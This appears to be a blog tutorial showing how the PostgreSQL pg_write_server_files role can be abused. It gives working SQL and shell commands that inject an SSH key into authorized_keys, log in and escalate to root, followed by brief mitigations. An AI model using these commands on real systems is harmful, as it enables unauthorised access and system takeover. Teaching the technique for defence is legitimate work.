Logo ← PostgreSQL Blog

From SQL to Root: PostgreSQL (pg_write_server_files in

PostgreSQL is a powerhouse of data, but in the hands of a misconfigured system, it can become a direct gateway to your operating system…

From SQL to Root: PostgreSQL (pg_write_server_files)

PostgreSQL is a powerhouse of data, but in the hands of a misconfigured system, it can become a direct gateway to your operating system. In this time, we will demonstrate how a seemingly minor database privilege file writing can lead to a full Remote Code Execution (RCE) and system takeover via SSH key injection.

1. The Vulnerability: Excessive Privileges

In many environments, DBAs grant users the pg_write_server_files role to allow them to export reports or logs. While it sounds harmless, this role allows the database user to write anywhere the postgres OS user has permission.

Initial Setup (The Admin’s Mistake)

-- Creating a restricted user for "testing"
CREATE USER test_user WITH PASSWORD 'test123';
-- Granting the dangerous privilege
GRANT pg_write_server_files TO test_user;

2. Generating the Golden Key

On the attacker’s machine (your local PC), we need to generate an SSH key pair. This will be our digital passport into the Linux server.

ssh-keygen -t rsa -f hacker_key

This generates:

  • hacker_key: Your private key (Keep this safe!).
  • hacker_key.pub: The public key (This is what we will inject).

Copy the content of hacker_key.pub (e.g., ssh-rsa AAAAB3Nza...).

3. The Injection: Writing to the Filesystem

Now, we log into the PostgreSQL instance as test_user and use the COPY command to write our public key into the authorized_keys file of the postgres user.

The Exploit Query:

COPY (SELECT 'ssh-rsa AAAAB3NzaC1yc2E...[Your_Key_Here]... user@local') 
TO '/var/lib/pgsql/.ssh/authorized_keys';

Bypassing Restrictions

If the database blocks direct file writing, we can use the PROGRAM pipe to bypass it, provided the user has the necessary permissions:

COPY (SELECT 'ssh-rsa AAAAB3Nza...') TO PROGRAM 'cat > /var/lib/pgsql/.ssh/authorized_keys';

Fixing Permissions

SSH is picky. If the file permissions are too loose, it will ignore the key. We fix this via the database as well:

COPY (SELECT 1) FROM PROGRAM 'chmod 700 /var/lib/pgsql/.ssh && chmod 600 /var/lib/pgsql/.ssh/authorized_keys';

4. Gaining Entry and Escalating to Root

The door is now unlocked. From your local terminal, connect to the server without a password:

ssh -i hacker_key postgres@target_ip

Once you are in as the postgres user, you have established a foothold. To move to root, you can use known passwords or look for sudo misconfigurations:

# If the 'test' user has sudo rights
su test
sudo -i

5. Defense and Mitigation

How do we stop this?

  • Principle of Least Privilege: Never grant pg_write_server_files or pg_execute_server_program to application users.
  • Hardened Filesystem: Ensure the .ssh directory is owned by a different user or is immutable.
  • SSH Hardening: Use AllowUsers in /etc/ssh/sshd_config to restrict which accounts can log in via SSH.

Conclusion

A database is only as secure as the OS permissions it sits on. By granting file-writing capabilities, you aren’t just letting a user manage data — you are handing them the keys to the kingdom.

Stay curious, stay ethical.